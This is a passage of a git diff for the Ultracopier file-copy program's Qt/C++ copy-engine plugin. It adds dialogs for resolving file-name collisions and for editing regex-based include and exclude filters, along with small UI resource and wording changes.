diff --git a/plugins/CopyEngine/Ultracopier/FileIsSameDialog.cpp b/plugins/CopyEngine/Ultracopier/FileIsSameDialog.cpp
new file mode 100644
index 0000000..7f3d565
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FileIsSameDialog.cpp
@@ -0,0 +1,188 @@
+#include "FileIsSameDialog.h"
+#include "ui_fileIsSameDialog.h"
+#include "TransferThread.h"
+
+#include <QRegularExpression>
+#include <QFileInfo>
+#include <QMessageBox>
+
+FileIsSameDialog::FileIsSameDialog(QWidget *parent,QFileInfo fileInfo,QString firstRenamingRule,QString otherRenamingRule) :
+ QDialog(parent),
+ ui(new Ui::fileIsSameDialog)
+{
+ Qt::WindowFlags flags = windowFlags();
+ #ifdef Q_OS_LINUX
+ flags=flags & ~Qt::X11BypassWindowManagerHint;
+ #endif
+ flags=flags | Qt::WindowStaysOnTopHint;
+ setWindowFlags(flags);
+
+ ui->setupUi(this);
+ action=FileExists_Cancel;
+ oldName=TransferThread::resolvedName(fileInfo);
+ destinationInfo=fileInfo;
+ ui->lineEditNewName->setText(oldName);
+ ui->lineEditNewName->setPlaceholderText(oldName);
+ ui->label_content_size->setText(QString::number(fileInfo.size()));
+ ui->label_content_modified->setText(fileInfo.lastModified().toString());
+ ui->label_content_file_name->setText(TransferThread::resolvedName(fileInfo));
+ QString folder=fileInfo.absolutePath();
+ if(folder.size()>80)
+ folder=folder.mid(0,38)+"..."+folder.mid(folder.size()-38);
+ ui->label_content_folder->setText(folder);
+ updateRenameButton();
+ QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
+ if(maxTime<fileInfo.lastModified())
+ {
+ ui->label_modified->setVisible(true);
+ ui->label_content_modified->setVisible(true);
+ ui->label_content_modified->setText(fileInfo.lastModified().toString());
+ }
+ else
+ {
+ ui->label_modified->setVisible(false);
+ ui->label_content_modified->setVisible(false);
+ }
+ if(!fileInfo.exists())
+ {
+ ui->label_content_size->setVisible(false);
+ ui->label_size->setVisible(false);
+ ui->label_modified->setVisible(false);
+ ui->label_content_modified->setVisible(false);
+ }
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ on_SuggestNewName_clicked();
+}
+
+FileIsSameDialog::~FileIsSameDialog()
+{
+ delete ui;
+}
+
+void FileIsSameDialog::changeEvent(QEvent *e)
+{
+ QWidget::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ui->retranslateUi(this);
+ break;
+ default:
+ break;
+ }
+}
+
+QString FileIsSameDialog::getNewName()
+{
+ if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
+ return oldName;
+ else
+ return ui->lineEditNewName->text();
+}
+
+void FileIsSameDialog::on_SuggestNewName_clicked()
+{
+ QFileInfo destinationInfo=this->destinationInfo;
+ QString absolutePath=destinationInfo.absolutePath();
+ QString fileName=TransferThread::resolvedName(destinationInfo);
+ QString suffix="";
+ QString destination;
+ QString newFileName;
+ //resolv the suffix
+ if(fileName.contains(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$"))))
+ {
+ suffix=fileName;
+ suffix.replace(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$")),QStringLiteral("\\2"));
+ fileName.replace(QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$")),QStringLiteral("\\1"));
+ }
+ //resolv the new name
+ int num=1;
+ do
+ {
+ if(num==1)
+ {
+ if(firstRenamingRule=="")
+ newFileName=tr("%1 - copy").arg(fileName);
+ else
+ {
+ newFileName=firstRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ }
+ }
+ else
+ {
+ if(otherRenamingRule=="")
+ newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
+ else
+ {
+ newFileName=otherRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ newFileName.replace(QStringLiteral("%number%"),QString::number(num));
+ }
+ }
+ destination=absolutePath+QDir::separator()+newFileName+suffix;
+ destinationInfo.setFile(destination);
+ num++;
+ }
+ while(destinationInfo.exists());
+ ui->lineEditNewName->setText(newFileName+suffix);
+}
+
+void FileIsSameDialog::on_Rename_clicked()
+{
+ action=FileExists_Rename;
+ this->close();
+}
+
+void FileIsSameDialog::on_Skip_clicked()
+{
+ action=FileExists_Skip;
+ this->close();
+}
+
+void FileIsSameDialog::on_Cancel_clicked()
+{
+ action=FileExists_Cancel;
+ this->close();
+}
+
+FileExistsAction FileIsSameDialog::getAction()
+{
+ return action;
+}
+
+bool FileIsSameDialog::getAlways()
+{
+ return ui->checkBoxAlways->isChecked();
+}
+
+void FileIsSameDialog::updateRenameButton()
+{
+ ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (!ui->lineEditNewName->text().contains(QRegularExpression("[/\\\\\\*]")) && oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
+}
+
+void FileIsSameDialog::on_lineEditNewName_textChanged(const QString &arg1)
+{
+ Q_UNUSED(arg1);
+ updateRenameButton();
+}
+
+void FileIsSameDialog::on_checkBoxAlways_toggled(bool checked)
+{
+ Q_UNUSED(checked);
+ updateRenameButton();
+}
+
+void FileIsSameDialog::on_lineEditNewName_returnPressed()
+{
+ updateRenameButton();
+ if(ui->Rename->isEnabled())
+ on_Rename_clicked();
+ else
+ QMessageBox::warning(this,tr("Error"),tr("Try rename with using special characters"));
+}
+
+void FileIsSameDialog::on_lineEditNewName_editingFinished()
+{
+ updateRenameButton();
+}
diff --git a/plugins/CopyEngine/Ultracopier/FileIsSameDialog.h b/plugins/CopyEngine/Ultracopier/FileIsSameDialog.h
new file mode 100644
index 0000000..c9be99c
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FileIsSameDialog.h
@@ -0,0 +1,57 @@
+/** \file fileIsSameDialog.h
+\brief Define the dialog when file is same
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QDialog>
+#include <QWidget>
+#include <QString>
+#include <QDateTime>
+#include <QFileInfo>
+#include <QDir>
+#include "Environment.h"
+
+#ifndef FILEISSAMEDIALOG_H
+#define FILEISSAMEDIALOG_H
+
+namespace Ui {
+ class fileIsSameDialog;
+}
+
+/// \brief to show file is same dialog, and ask what do
+class FileIsSameDialog : public QDialog
+{
+ Q_OBJECT
+public:
+ /// \brief create the object and pass all the informations to it
+ explicit FileIsSameDialog(QWidget *parent,QFileInfo fileInfo,QString firstRenamingRule,QString otherRenamingRule);
+ ~FileIsSameDialog();
+ /// \brief return the the always checkbox is checked
+ bool getAlways();
+ /// \brief return the action clicked
+ FileExistsAction getAction();
+ /// \brief return the new rename is case in manual renaming
+ QString getNewName();
+protected:
+ void changeEvent(QEvent *e);
+private slots:
+ void on_SuggestNewName_clicked();
+ void on_Rename_clicked();
+ void on_Skip_clicked();
+ void on_Cancel_clicked();
+ void updateRenameButton();
+ void on_lineEditNewName_textChanged(const QString &arg1);
+ void on_checkBoxAlways_toggled(bool checked);
+ void on_lineEditNewName_returnPressed();
+ void on_lineEditNewName_editingFinished();
+private:
+ Ui::fileIsSameDialog *ui;
+ FileExistsAction action;
+ QString oldName;
+ QFileInfo destinationInfo;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+
+};
+
+#endif // FILEISSAMEDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier/FilterRules.cpp b/plugins/CopyEngine/Ultracopier/FilterRules.cpp
new file mode 100644
index 0000000..5d1827e
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/FilterRules.cpp
@@ -0,0 +1,193 @@
+#include "FilterRules.h"
+#include "ui_FilterRules.h"
+
+#include <QRegularExpression>
+
+FilterRules::FilterRules(QWidget *parent) :
+ QDialog(parent),
+ ui(new Ui::FilterRules)
+{
+ ui->setupUi(this);
+ updateChecking();
+ haveBeenValided=false;
+}
+
+FilterRules::~FilterRules()
+{
+ delete ui;
+}
+
+bool FilterRules::getIsValid()
+{
+ return isValid && haveBeenValided;
+}
+
+QString FilterRules::get_search_text()
+{
+ return ui->search->text();
+}
+
+SearchType FilterRules::get_search_type()
+{
+ switch(ui->search_type->currentIndex())
+ {
+ case 0:
+ return SearchType_rawText;
+ case 1:
+ return SearchType_simpleRegex;
+ case 2:
+ return SearchType_perlRegex;
+ }
+ return SearchType_simpleRegex;
+}
+
+ApplyOn FilterRules::get_apply_on()
+{
+ switch(ui->apply_on->currentIndex())
+ {
+ case 0:
+ return ApplyOn_file;
+ case 1:
+ return ApplyOn_fileAndFolder;
+ case 2:
+ return ApplyOn_folder;
+ }
+ return ApplyOn_fileAndFolder;
+}
+
+bool FilterRules::get_need_match_all()
+{
+ return ui->need_match_all->isChecked();
+}
+
+void FilterRules::set_search_text(QString search_text)
+{
+ ui->search->setText(search_text);
+}
+
+void FilterRules::set_search_type(SearchType search_type)
+{
+ switch(search_type)
+ {
+ case SearchType_rawText:
+ ui->search_type->setCurrentIndex(0);
+ break;
+ case SearchType_simpleRegex:
+ ui->search_type->setCurrentIndex(1);
+ break;
+ case SearchType_perlRegex:
+ ui->search_type->setCurrentIndex(2);
+ break;
+ }
+}
+
+void FilterRules::set_apply_on(ApplyOn apply_on)
+{
+ switch(apply_on)
+ {
+ case ApplyOn_file:
+ ui->apply_on->setCurrentIndex(0);
+ break;
+ case ApplyOn_fileAndFolder:
+ ui->apply_on->setCurrentIndex(1);
+ break;
+ case ApplyOn_folder:
+ ui->apply_on->setCurrentIndex(2);
+ break;
+ }
+}
+
+void FilterRules::set_need_match_all(bool need_match_all)
+{
+ ui->need_match_all->setChecked(need_match_all);
+}
+
+void FilterRules::on_search_textChanged(const QString &arg1)
+{
+ Q_UNUSED(arg1);
+ updateChecking();
+}
+
+void FilterRules::updateChecking()
+{
+ QRegularExpression regex;
+ isValid=!ui->search->text().isEmpty();
+ if(isValid)
+ {
+ QString tempString;
+ if(ui->search_type->currentIndex()==0)
+ {
+ tempString=QRegularExpression::escape(ui->search->text());
+ if(tempString.contains('/') || tempString.contains('\\'))
+ isValid=false;
+ }
+ else if(ui->search_type->currentIndex()==1)
+ {
+ tempString=QRegularExpression::escape(ui->search->text());
+ tempString.replace(QStringLiteral("\\*"),QStringLiteral("[^\\\\/]*"));
+ }
+ else if(ui->search_type->currentIndex()==2)
+ {
+ tempString=ui->search->text();
+ if(tempString.startsWith('^') && tempString.endsWith('$'))
+ {
+ ui->need_match_all->setChecked(true);
+ tempString.remove(QRegularExpression(QStringLiteral("^\\^")));
+ tempString.remove(QRegularExpression(QStringLiteral("\\$$")));
+ ui->search->setText(tempString);
+ }
+ }
+ if(isValid)
+ {
+ if(ui->need_match_all->isChecked())
+ tempString=QStringLiteral("^")+tempString+QStringLiteral("$");
+ regex=QRegularExpression(tempString);
+ isValid=regex.isValid();
+ }
+ }
+
+ ui->isValid->setChecked(isValid);
+ ui->testString->setEnabled(isValid);
+ ui->label_test_string->setEnabled(isValid);
+ ui->matched->setEnabled(isValid);
+ ui->matched->setChecked(isValid && ui->testString->text().contains(regex));
+ ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(isValid);
+}
+
+void FilterRules::on_isValid_clicked()
+{
+ updateChecking();
+}
+
+void FilterRules::on_testString_textChanged(const QString &arg1)
+{
+ Q_UNUSED(arg1);
+ updateChecking();
+}
+
+void FilterRules::on_matched_clicked()
+{
+ updateChecking();
+}
+
+void FilterRules::on_search_type_currentIndexChanged(int index)
+{
+ Q_UNUSED(index);
+ updateChecking();
+}
+
+void FilterRules::on_need_match_all_clicked()
+{
+ updateChecking();
+}
+
+void FilterRules::on_buttonBox_clicked(QAbstractButton *button)
+{
+ if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
+ reject();
+ else
+ {
+ haveBeenValided=true;
+ accept();
+ }
+}
diff --git a/plugins-alternative/CopyEngine/Rsync/FilterRules.h b/plugins/CopyEngine/Ultracopier/FilterRules.h
index f06f0cb..f06f0cb 100644
--- a/plugins-alternative/CopyEngine/Rsync/FilterRules.h
+++ b/plugins/CopyEngine/Ultracopier/FilterRules.h
diff --git a/plugins-alternative/CopyEngine/Rsync/FilterRules.ui b/plugins/CopyEngine/Ultracopier/FilterRules.ui
index fad35cd..a4006fe 100644
--- a/plugins-alternative/CopyEngine/Rsync/FilterRules.ui
+++ b/plugins/CopyEngine/Ultracopier/FilterRules.ui
@@ -17,8 +17,8 @@
<string>Filters dialog</string>
</property>
<property name="windowIcon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/filter.png</normaloff>:/resources/filter.png</iconset>
+ <iconset resource="copyEngineResources.qrc">
+ <normaloff>:/CopyEngine/resources/resources/filter.png</normaloff>:/CopyEngine/resources/resources/filter.png</iconset>
</property>
<layout class="QGridLayout" name="gridLayout_2">
<property name="margin">
@@ -92,7 +92,7 @@
<item row="3" column="0" colspan="2">
<widget class="QCheckBox" name="need_match_all">
<property name="text">
- <string>All string need match</string>
+ <string>Whole string must match</string>
</property>
</widget>
</item>
@@ -122,7 +122,7 @@
<item row="2" column="0" colspan="2">
<widget class="QCheckBox" name="matched">
<property name="text">
- <string>The test string match with the regex</string>
+ <string>The test string matches with the regex</string>
</property>
</widget>
</item>
@@ -156,7 +156,7 @@
</layout>
</widget>
<resources>
- <include location="resources.qrc"/>
+ <include location="copyEngineResources.qrc"/>
</resources>
<connections/>
</ui>
diff --git a/plugins/CopyEngine/Ultracopier/Filters.cpp b/plugins/CopyEngine/Ultracopier/Filters.cpp
new file mode 100644
index 0000000..3bb81d1
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Filters.cpp
@@ -0,0 +1,457 @@
+#include "Filters.h"
+#include "ui_Filters.h"
+
+#include <QRegularExpression>
+
+Filters::Filters(QWidget *parent) :
+ QDialog(parent),
+ ui(new Ui::Filters)
+{
+ ui->setupUi(this);
+}
+
+Filters::~Filters()
+{
+ delete ui;
+}
+
+void Filters::setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
+{
+ if(includeStrings.size()!=includeOptions.size() || excludeStrings.size()!=excludeOptions.size())
+ return;
+ Filters_rules new_item;
+
+ include.clear();
+ int index=0;
+ while(index<includeStrings.size())
+ {
+ new_item.search_text=includeStrings.at(index);
+ QStringList options=includeOptions.at(index).split(QStringLiteral(";"));
+ new_item.need_match_all=false;
+ new_item.search_type=SearchType_rawText;
+ new_item.apply_on=ApplyOn_fileAndFolder;
+
+ if(options.contains(QStringLiteral("SearchType_simpleRegex")))
+ new_item.search_type=SearchType_simpleRegex;
+ if(options.contains(QStringLiteral("SearchType_perlRegex")))
+ new_item.search_type=SearchType_perlRegex;
+ if(options.contains(QStringLiteral("ApplyOn_file")))
+ new_item.apply_on=ApplyOn_file;
+ if(options.contains(QStringLiteral("ApplyOn_folder")))
+ new_item.apply_on=ApplyOn_folder;
+ if(options.contains(QStringLiteral("need_match_all")))
+ new_item.need_match_all=true;
+
+ if(convertToRegex(new_item))
+ include << new_item;
+
+ index++;
+ }
+
+ exclude.clear();
+ index=0;
+ while(index<excludeStrings.size())
+ {
+ new_item.search_text=excludeStrings.at(index);
+ QStringList options=excludeOptions.at(index).split(QStringLiteral(";"));
+ new_item.need_match_all=false;
+ new_item.search_type=SearchType_rawText;
+ new_item.apply_on=ApplyOn_fileAndFolder;
+
+ if(options.contains(QStringLiteral("SearchType_simpleRegex")))
+ new_item.search_type=SearchType_simpleRegex;
+ if(options.contains(QStringLiteral("SearchType_perlRegex")))
+ new_item.search_type=SearchType_perlRegex;
+ if(options.contains(QStringLiteral("ApplyOn_file")))
+ new_item.apply_on=ApplyOn_file;
+ if(options.contains(QStringLiteral("ApplyOn_folder")))
+ new_item.apply_on=ApplyOn_folder;
+ if(options.contains(QStringLiteral("need_match_all")))
+ new_item.need_match_all=true;
+
+ if(convertToRegex(new_item))
+ exclude << new_item;
+
+ index++;
+ }
+
+ reShowAll();
+}
+
+void Filters::reShowAll()
+{
+ ui->inclusion->clear();
+ int index=0;
+ while(index<include.size())
+ {
+ QString entryShow=include.at(index).search_text+QStringLiteral(" (");
+ QStringList optionsToShow;
+ switch(include.at(index).search_type)
+ {
+ case SearchType_rawText:
+ optionsToShow << tr("Raw text");
+ break;
+ case SearchType_simpleRegex:
+ optionsToShow << tr("Simplified regex");
+ break;
+ case SearchType_perlRegex:
+ optionsToShow << tr("Perl's regex");
+ break;
+ default:
+ break;
+ }
+ switch(include.at(index).apply_on)
+ {
+ case ApplyOn_file:
+ optionsToShow << tr("Only on file");
+ break;
+ case ApplyOn_folder:
+ optionsToShow << tr("Only on folder");
+ break;
+ default:
+ break;
+ }
+ if(include.at(index).need_match_all)
+ optionsToShow << tr("Full match");
+ entryShow+=optionsToShow.join(QStringLiteral(","));
+ entryShow+=")";
+ ui->inclusion->addItem(new QListWidgetItem(entryShow));
+ index++;
+ }
+ ui->exclusion->clear();
+ index=0;
+ while(index<exclude.size())
+ {
+ QString entryShow=exclude.at(index).search_text+QStringLiteral(" (");
+ QStringList optionsToShow;
+ switch(exclude.at(index).search_type)
+ {
+ case SearchType_rawText:
+ optionsToShow << tr("Raw text");
+ break;
+ case SearchType_simpleRegex:
+ optionsToShow << tr("Simplified regex");
+ break;
+ case SearchType_perlRegex:
+ optionsToShow << tr("Perl's regex");
+ break;
+ default:
+ break;
+ }
+ switch(exclude.at(index).apply_on)
+ {
+ case ApplyOn_file:
+ optionsToShow << tr("Only on file");
+ break;
+ case ApplyOn_folder:
+ optionsToShow << tr("Only on folder");
+ break;
+ default:
+ break;
+ }
+ if(exclude.at(index).need_match_all)
+ optionsToShow << tr("Full match");
+ entryShow+=optionsToShow.join(QStringLiteral(","));
+ entryShow+=")";
+ ui->exclusion->addItem(new QListWidgetItem(entryShow));
+ index++;
+ }
+}
+
+QList<Filters_rules> Filters::getInclude() const
+{
+ return include;
+}
+
+QList<Filters_rules> Filters::getExclude() const
+{
+ return exclude;
+}
+
+void Filters::newLanguageLoaded()
+{
+ ui->retranslateUi(this);
+ reShowAll();
+}
+
+void Filters::updateFilters()
+{
+ QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
+ int index=0;
+ while(index<include.size())
+ {
+ includeStrings<<include.at(index).search_text;
+ QStringList optionsToShow;
+
+ switch(include.at(index).search_type)
+ {
+ case SearchType_rawText:
+ optionsToShow << QStringLiteral("SearchType_rawText");
+ break;
+ case SearchType_simpleRegex:
+ optionsToShow << QStringLiteral("SearchType_simpleRegex");
+ break;
+ case SearchType_perlRegex:
+ optionsToShow << QStringLiteral("SearchType_perlRegex");
+ break;
+ default:
+ break;
+ }
+ switch(include.at(index).apply_on)
+ {
+ case ApplyOn_file:
+ optionsToShow << QStringLiteral("ApplyOn_file");
+ break;
+ case ApplyOn_fileAndFolder:
+ optionsToShow << QStringLiteral("ApplyOn_fileAndFolder");
+ break;
+ case ApplyOn_folder:
+ optionsToShow << QStringLiteral("ApplyOn_folder");
+ break;
+ default:
+ break;
+ }
+ if(include.at(index).need_match_all)
+ optionsToShow << tr("Full match");
+ includeOptions<<optionsToShow.join(QStringLiteral(";"));
+ index++;
+ }
+ index=0;
+ while(index<exclude.size())
+ {
+ excludeStrings<<exclude.at(index).search_text;
+ QStringList optionsToShow;
+
+ switch(exclude.at(index).search_type)
+ {
+ case SearchType_rawText:
+ optionsToShow << QStringLiteral("SearchType_rawText");
+ break;
+ case SearchType_simpleRegex:
+ optionsToShow << QStringLiteral("SearchType_simpleRegex");
+ break;
+ case SearchType_perlRegex:
+ optionsToShow << QStringLiteral("SearchType_perlRegex");
+ break;
+ default:
+ break;
+ }
+ switch(exclude.at(index).apply_on)
+ {
+ case ApplyOn_file:
+ optionsToShow << QStringLiteral("ApplyOn_file");
+ break;
+ case ApplyOn_fileAndFolder:
+ optionsToShow << QStringLiteral("ApplyOn_fileAndFolder");
+ break;
+ case ApplyOn_folder:
+ optionsToShow << QStringLiteral("ApplyOn_folder");
+ break;
+ default:
+ break;
+ }
+ if(exclude.at(index).need_match_all)
+ optionsToShow << tr("Full match");
+ excludeOptions<<optionsToShow.join(QStringLiteral(";"));
+ index++;
+ }
+ emit sendNewFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ emit haveNewFilters();
+}
+
+bool Filters::convertToRegex(Filters_rules &item)
+{
+ bool isValid=!item.search_text.isEmpty();
+ if(isValid)
+ {
+ QRegularExpression regex;
+ QString tempString;
+ if(item.search_type==SearchType_rawText)
+ {
+ tempString=QRegularExpression::escape(item.search_text);
+ if(tempString.contains('/') || tempString.contains('\\'))
+ isValid=false;
+ }
+ else if(item.search_type==SearchType_simpleRegex)
+ {
+ tempString=QRegularExpression::escape(item.search_text);
+ tempString.replace(QStringLiteral("\\*"),QStringLiteral("[^\\\\/]*"));
+ }
+ else if(item.search_type==SearchType_perlRegex)
+ {
+ tempString=item.search_text;
+ if(tempString.startsWith('^') && tempString.endsWith('$'))
+ {
+ item.need_match_all=true;
+ tempString.remove(QRegularExpression("^\\^"));
+ tempString.remove(QRegularExpression("\\$$"));
+ item.search_text=tempString;
+ }
+ }
+ if(isValid)
+ {
+ if(item.need_match_all==true)
+ tempString=QStringLiteral("^")+tempString+QStringLiteral("$");
+ regex=QRegularExpression(tempString);
+ //isValid=regex.isValid();
+ item.regex=regex;
+ return true;
+ }
+ else
+ return false;
+ }
+ return false;
+}
+
+void Filters::on_remove_exclusion_clicked()
+{
+ bool removedEntry=false;
+ int index=0;
+ while(index<ui->exclusion->count())
+ {
+ if(ui->exclusion->item(index)->isSelected())
+ {
+ delete ui->exclusion->item(index);
+ exclude.removeAt(index);
+ removedEntry=true;
+ }
+ else
+ index++;
+ }
+ if(removedEntry)
+ {
+ reShowAll();
+ updateFilters();
+ }
+}
+
+void Filters::on_remove_inclusion_clicked()
+{
+ bool removedEntry=false;
+ int index=0;
+ while(index<ui->inclusion->count())
+ {
+ if(ui->inclusion->item(index)->isSelected())
+ {
+ delete ui->inclusion->item(index);
+ include.removeAt(index);
+ removedEntry=true;
+ }
+ else
+ index++;
+ }
+ if(removedEntry)
+ {
+ reShowAll();
+ updateFilters();
+ }
+}
+
+void Filters::on_add_exclusion_clicked()
+{
+ FilterRules dialog(this);
+ dialog.exec();
+ if(dialog.getIsValid())
+ {
+ Filters_rules new_item;
+ new_item.apply_on=dialog.get_apply_on();
+ new_item.need_match_all=dialog.get_need_match_all();
+ new_item.search_text=dialog.get_search_text();
+ new_item.search_type=dialog.get_search_type();
+ exclude << new_item;
+ reShowAll();
+ updateFilters();
+ }
+}
+
+void Filters::on_buttonBox_clicked(QAbstractButton *button)
+{
+ if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
+ reject();
+}
+
+void Filters::on_add_inclusion_clicked()
+{
+ FilterRules dialog(this);
+ dialog.exec();
+ if(dialog.getIsValid())
+ {
+ Filters_rules new_item;
+ new_item.apply_on=dialog.get_apply_on();
+ new_item.need_match_all=dialog.get_need_match_all();
+ new_item.search_text=dialog.get_search_text();
+ new_item.search_type=dialog.get_search_type();
+ if(convertToRegex(new_item))
+ include << new_item;
+ reShowAll();
+ updateFilters();
+ }
+}
+
+void Filters::on_edit_exclusion_clicked()
+{
+ bool editedEntry=false;
+ int index=0;
+ while(index<ui->exclusion->count())
+ {
+ if(ui->exclusion->item(index)->isSelected())
+ {
+ FilterRules dialog(this);
+ dialog.set_apply_on(exclude.at(index).apply_on);
+ dialog.set_need_match_all(exclude.at(index).need_match_all);
+ dialog.set_search_text(exclude.at(index).search_text);
+ dialog.set_search_type(exclude.at(index).search_type);
+ dialog.exec();
+ if(dialog.getIsValid())
+ {
+ exclude[index].apply_on=dialog.get_apply_on();
+ exclude[index].need_match_all=dialog.get_need_match_all();
+ exclude[index].search_text=dialog.get_search_text();
+ exclude[index].search_type=dialog.get_search_type();
+ if(!convertToRegex(exclude[index]))
+ exclude.removeAt(index);
+ editedEntry=true;
+ }
+ }
+ index++;
+ }
+ if(editedEntry)
+ {
+ reShowAll();
+ updateFilters();
+ }
+}
+
+void Filters::on_edit_inclusion_clicked()
+{
+ bool editedEntry=false;
+ int index=0;
+ while(index<ui->inclusion->count())
+ {
+ if(ui->inclusion->item(index)->isSelected())
+ {
+ FilterRules dialog(this);
+ dialog.set_apply_on(exclude.at(index).apply_on);
+ dialog.set_need_match_all(exclude.at(index).need_match_all);
+ dialog.set_search_text(exclude.at(index).search_text);
+ dialog.set_search_type(exclude.at(index).search_type);
+ dialog.exec();
+ if(dialog.getIsValid())
+ {
+ exclude[index].apply_on=dialog.get_apply_on();
+ exclude[index].need_match_all=dialog.get_need_match_all();
+ exclude[index].search_text=dialog.get_search_text();
+ exclude[index].search_type=dialog.get_search_type();
+ if(!convertToRegex(exclude[index]))
+ exclude.removeAt(index);
+ editedEntry=true;
+ }
+ }
+ index++;
+ }
+ if(editedEntry)
+ {
+ reShowAll();
+ updateFilters();
+ }
+}
diff --git a/plugins/CopyEngine/Ultracopier/Filters.h b/plugins/CopyEngine/Ultracopier/Filters.h
new file mode 100644
index 0000000..337f8cb
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Filters.h
@@ -0,0 +1,45 @@
+#ifndef FILTERS_H
+#define FILTERS_H
+
+#include <QDialog>
+#include <QStringList>
+
+#include "FilterRules.h"
+#include "StructEnumDefinition_CopyEngine.h"
+
+namespace Ui {
+class Filters;
+}
+
+/** To add/edit one filter rules */
+class Filters : public QDialog
+{
+ Q_OBJECT
+public:
+ explicit Filters(QWidget *parent = 0);
+ ~Filters();
+ void setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
+ void reShowAll();
+ QList<Filters_rules> getInclude() const;
+ QList<Filters_rules> getExclude() const;
+ void newLanguageLoaded();
+private:
+ Ui::Filters *ui;
+ QList<Filters_rules> include;
+ QList<Filters_rules> exclude;
+ void updateFilters();
+ bool convertToRegex(Filters_rules &item);
+signals:
+ void sendNewFilters(const QStringList &includeStrings,const QStringList &includeOptions,const QStringList &excludeStrings,const QStringList &excludeOptions) const;
+ void haveNewFilters() const;
+private slots:
+ void on_remove_exclusion_clicked();
+ void on_remove_inclusion_clicked();
+ void on_add_exclusion_clicked();
+ void on_buttonBox_clicked(QAbstractButton *button);
+ void on_add_inclusion_clicked();
+ void on_edit_exclusion_clicked();
+ void on_edit_inclusion_clicked();
+};
+
+#endif // FILTERS_H
diff --git a/plugins-alternative/CopyEngine/Rsync/Filters.ui b/plugins/CopyEngine/Ultracopier/Filters.ui
index db8577c..33822af 100644
--- a/plugins-alternative/CopyEngine/Rsync/Filters.ui
+++ b/plugins/CopyEngine/Ultracopier/Filters.ui
@@ -15,7 +15,7 @@
</property>
<property name="windowIcon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/filter.png</normaloff>:/resources/filter.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/filter.png</normaloff>:/CopyEngine/Ultracopier/resources/filter.png</iconset>
</property>
<layout class="QVBoxLayout" name="verticalLayout">
<property name="spacing">
@@ -27,7 +27,7 @@
<item>
<widget class="QGroupBox" name="groupBox">
<property name="title">
- <string>Exclusion filter</string>
+ <string>Exclusion filters</string>
</property>
<layout class="QHBoxLayout" name="horizontalLayout_2">
<property name="spacing">
@@ -49,7 +49,7 @@
<widget class="QToolButton" name="add_exclusion">
<property name="icon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/add.png</normaloff>:/CopyEngine/Ultracopier/resources/add.png</iconset>
</property>
</widget>
</item>
@@ -57,7 +57,7 @@
<widget class="QToolButton" name="edit_exclusion">
<property name="icon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/edit.png</normaloff>:/resources/edit.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/edit.png</normaloff>:/CopyEngine/Ultracopier/resources/edit.png</iconset>
</property>
</widget>
</item>
@@ -65,7 +65,7 @@
<widget class="QToolButton" name="remove_exclusion">
<property name="icon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/remove.png</normaloff>:/resources/remove.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/remove.png</normaloff>:/CopyEngine/Ultracopier/resources/remove.png</iconset>
</property>
</widget>
</item>
@@ -90,7 +90,7 @@
<item>
<widget class="QGroupBox" name="groupBox_2">
<property name="title">
- <string>Inclusion filter</string>
+ <string>Inclusion filters</string>
</property>
<layout class="QVBoxLayout" name="verticalLayout_4">
<property name="spacing">
@@ -121,7 +121,7 @@
<widget class="QToolButton" name="add_inclusion">
<property name="icon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/add.png</normaloff>:/CopyEngine/Ultracopier/resources/add.png</iconset>
</property>
</widget>
</item>
@@ -129,7 +129,7 @@
<widget class="QToolButton" name="edit_inclusion">
<property name="icon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/edit.png</normaloff>:/resources/edit.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/edit.png</normaloff>:/CopyEngine/Ultracopier/resources/edit.png</iconset>
</property>
</widget>
</item>
@@ -137,7 +137,7 @@
<widget class="QToolButton" name="remove_inclusion">
<property name="icon">
<iconset resource="resources.qrc">
- <normaloff>:/resources/remove.png</normaloff>:/resources/remove.png</iconset>
+ <normaloff>:/CopyEngine/Ultracopier/resources/remove.png</normaloff>:/CopyEngine/Ultracopier/resources/remove.png</iconset>
</property>
</widget>
</item>
diff --git a/plugins/CopyEngine/Ultracopier/FolderExistsDialog.cpp b/plugins/CopyEngine/Ultracopier/FolderExistsDialog.cpp
new file mode 100644
index 0000000..ac1e74e
